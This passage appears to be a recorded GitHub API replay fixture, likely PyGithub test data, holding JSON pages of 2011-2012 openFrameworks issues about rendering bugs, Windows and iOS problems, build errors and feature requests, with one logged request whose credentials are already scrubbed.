it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if 